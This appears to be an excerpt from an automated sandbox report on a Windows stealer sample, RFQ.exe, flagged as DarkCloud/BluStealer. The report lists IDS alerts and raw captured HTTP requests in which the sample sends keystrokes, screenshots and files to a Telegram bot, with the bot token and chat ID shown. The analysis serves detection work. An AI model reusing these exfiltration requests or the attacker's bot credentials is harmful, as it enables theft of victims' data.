Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49721 version: TLS 1.2

Source: RFQ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: xuwv.pdbSHA256 source: RFQ.exe, wOPQRmK.exe.0.dr
Source:	Binary string: W.pdb4 source: RFQ.exe, 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xuwv.pdb source: RFQ.exe, wOPQRmK.exe.0.dr

Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49689 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49689 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2044741 - Severity 1 - ET MALWARE DarkCloud Stealer File Grabber Function Exfiltrating Data via Telegram : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49690 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49690 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49693 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49693 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49693 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49695 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49695 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49698 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49698 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49695 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49699 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49699 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49701 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49702 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49701 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49702 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49701 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49702 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49704 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49704 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49706 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49706 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49707 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49707 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49706 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49703 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49703 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49708 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49708 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49710 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49710 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49709 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49709 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49710 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49711 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49709 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49711 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49712 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49712 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49715 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49715 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.7:49717 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49718 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49718 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49715 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49718 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49719 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49719 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49721 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.7:49721 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.7:49721 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 162.55.60.2 162.55.60.2

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: showip.net

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49682 -> 162.55.60.2:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49681 -> 162.55.60.2:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49717 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-FG:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 13923Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 2845Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3175Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 2548Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 2449Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 1591Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 1525Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 964Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 964Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KeyDataWBeRYorH.txt:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 964Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 634Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666&text=BM6 HTTP/1.1User-Agent: Project1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Project1Host: showip.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Project1Host: showip.net

Source: global traffic	DNS traffic detected: DNS query: showip.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-FG:::user-PC\user\8.46.123.189 HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 13923Connection: Keep-AliveCache-Control: no-cache

Source: wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.cn
